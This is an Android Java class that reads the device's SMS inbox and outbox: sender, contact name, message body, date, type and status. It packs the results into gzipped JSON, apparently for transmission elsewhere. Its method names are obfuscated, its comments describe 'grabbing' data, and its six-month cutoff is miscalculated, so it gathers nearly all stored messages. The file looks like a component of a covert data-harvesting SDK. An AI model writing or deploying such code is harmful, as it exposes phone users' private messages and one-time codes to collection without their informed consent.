package com.zhi.syc.data.services;

import android.Manifest;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.provider.Telephony;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.google.gson.Gson;
import com.zhi.syc.data.beans.ASSsInfoBean;
import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.util.ASUtil;

import java.util.ArrayList;
import java.util.List;

public class ASSsInfo {

    //暂时取值：EMTY空数据，ERROR抓取报错，NOPERMISSION无权限，INTERRUPT打断，SUCCESS抓取成功
    // 抓取成功
    public static final String SS_OT = "SS_OT";
    // 抓取成功，中途被打断
    public static final String SS_OT_IN = "SS_OT_IN";
    // 抓取成功,出现异常
    public static final String SS_OT_CC_ER = "SS_OT_CC_ER";
    // 抓取数据为空
    public static final String SS_EM = "SS_EM";
    // 抓取数据为空，没有权限
    public static final String SS_EM_P = "SS_EM_P";
    // 抓取数据为空，出现异常
    public static final String SS_EM_CC_ER = "SS_EM_CC_ER";
    // 抓取数据为空，中途被打断
    public static final String SS_EM_IN = "SS_EM_IN";

    // 抓取类型
    public static String mSType = SS_OT;
    // 是否抓取完成
    public static boolean mSCompet = false;
    // 是否出现异常
    public static boolean mSEr = false;

    // 临时数据组
//    public static ArrayList<ASSsInfoBean> mTempArrayList = new ArrayList<>();

    // 获取数据组
    public static List<ASSsInfoBean> sdajldkfjalskdfal(Context paramContext) {
        Cursor cursor = null;
        mSCompet = false;
        mSEr = false;
//        if (mTempArrayList == null) {
//            mTempArrayList = new ArrayList<>();
//        }
//        mTempArrayList.clear();
        ArrayList<ASSsInfoBean> mArrayList = new ArrayList<>();
        try {
            if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(paramContext, Manifest.permission.READ_SMS)) {
                String[] projection = new String[]{
                        Telephony.Sms._ID,
                        Telephony.Sms.ADDRESS,
                        Telephony.Sms.PERSON,
                        Telephony.Sms.BODY,
                        Telephony.Sms.DATE,
                        Telephony.Sms.TYPE,
                        Telephony.Sms.PROTOCOL,
                        Telephony.Sms.READ,
                        Telephony.Sms.STATUS
                };

                long sixMonthSec = 15552000000L * 1000;
                long curSec = System.currentTimeMillis();
                ContentResolver contentResolver = paramContext.getContentResolver();
                cursor = contentResolver.query(
                        Telephony.Sms.CONTENT_URI,
                        projection,
                        null,
                        null,
                        Telephony.Sms.DEFAULT_SORT_ORDER);
                if (cursor == null) {
                mSType = SS_EM;
                    return mArrayList;
                }

                while (cursor.moveToNext()) {
                    ASSsInfoBean ssInfo = new ASSsInfoBean();
                    int h = cursor.getColumnIndex(Telephony.Sms.PERSON);
                    int j = cursor.getColumnIndex(Telephony.Sms.BODY);
                    int k = cursor.getColumnIndex(Telephony.Sms.DATE);
                    int m = cursor.getColumnIndex(Telephony.Sms.TYPE);
                    int n = cursor.getColumnIndex(Telephony.Sms.ADDRESS);
                    int o = cursor.getColumnIndex(Telephony.Sms._ID);
                    int p = cursor.getColumnIndex(Telephony.Sms.PROTOCOL);
                    int q = cursor.getColumnIndex(Telephony.Sms.READ);
                    int r = cursor.getColumnIndex(Telephony.Sms.STATUS);

                    String str1 = ASUtil.sadfauer543e(cursor.getString(h));
                    String str2 = ASUtil.sadfauer543e(cursor.getString(m));
                    String str3 = ASUtil.sadfauer543e(cursor.getString(n));
                    String str4 = ASUtil.sadfauer543e(cursor.getString(j));
                    String str5 = ASUtil.sadfauer543e(cursor.getString(k));
                    String str6 = ASUtil.sadfauer543e(cursor.getString(o));
                    String str7 = ASUtil.sadfauer543e(cursor.getString(p));
                    String str8 = ASUtil.sadfauer543e(cursor.getInt(q) + "");
                    String str9 = ASUtil.sadfauer543e(cursor.getInt(r) + "");

                    if (ASUtil.sadfauer543e(str1).length() > 512) {
                        continue;
                    }

                    long kdate = 0;
                    try {
                        kdate = Long.parseLong(str5);
                        long edgeSec = (curSec - kdate);
                        if (edgeSec > sixMonthSec) {
                            break;
                        }
                    } catch (NumberFormatException e) {
                        e.printStackTrace();
                    }

                    if (TextUtils.isEmpty(str1)) {
                        str1 = str3;
                    }
                    ssInfo.setName(str1);
                    ssInfo.setMobile(str3);
                    if (str2.equals("1")) {
                        //RECEIVE
                        ssInfo.setType("RECEIVE");
                    } else {
                        //SEND
                        ssInfo.setType("SEND");
                    }
                    if (str7.equals("1")) {
                        //RECEIVE
                        ssInfo.setProtocol("MMS");
                    } else {
                        //SEND
                        ssInfo.setProtocol("SMS");
                    }
                    ssInfo.setSmsTime(String.valueOf(kdate));
                    ssInfo.setPerson(str1);
                    ssInfo.setTypeOri(str2);
                    ssInfo.setContent(str4);
                    ssInfo.setCid(str6);
                    ssInfo.setProtocolOri(str7);
                    ssInfo.setRead(str8);
                    ssInfo.setSeen(str8);
                    ssInfo.setSubject("");
                    ssInfo.setStatus(str9);
                    ssInfo.setDateSent(String.valueOf(kdate));
                    mArrayList.add(ssInfo);

//                    ASLogger.d(ASSsInfo.class.getSimpleName(), "name:" + ssInfo.getName() + ", mobile:" + ssInfo.getMobile() + ", content:" + ssInfo.getContent());
                }
            }
        } catch (Exception e) {
            mSEr = true;
            e.printStackTrace();
        } finally {
            mSCompet = true;
            if (cursor != null) {
                cursor.close();
            }
        }

        if (mArrayList.size() == 0) {
            mSType = (mSEr ? SS_EM_CC_ER : SS_EM);

        } else {
            mSType = (mSEr ? SS_OT_CC_ER : SS_OT);
        }
        return mArrayList;
    }

    // 获取数据组压缩字符串
    public static String fezpString(Context paramContext) {
        String zipString = "";
        try {
            List<ASSsInfoBean> beans = sdajldkfjalskdfal(paramContext);
            String result = new Gson().toJson(beans).trim();
            zipString = ASUtil.stringToGZIP(result);
            beans.clear();
            beans = null;
        } catch (Exception e) {
            e.printStackTrace();
//            mSType = SS_EM;
        }
        return zipString;
    }

//    // 立即获取数据组压缩字符串
//    public static String getListZipStringImmediately() {
//        String zipString = "";
//        try {
//            if (mTempArrayList != null) {
//                mSType = (mTempArrayList.size() == 0 ? SS_EM_IN : SS_OT_IN);
//                String result = new Gson().toJson(mTempArrayList).trim();
//                zipString = ASUtil.stringToGZIP(result);
//                clean();
//            }
//        } catch (Exception e) {
//            e.printStackTrace();
//            mSType = SS_EM;
//        }
//        return zipString;
//    }

    // 清空数据组
//    public static void clean() {
//        if (mTempArrayList != null) {
//            mTempArrayList.clear();
//            mTempArrayList = null;
//        }
//    }
}
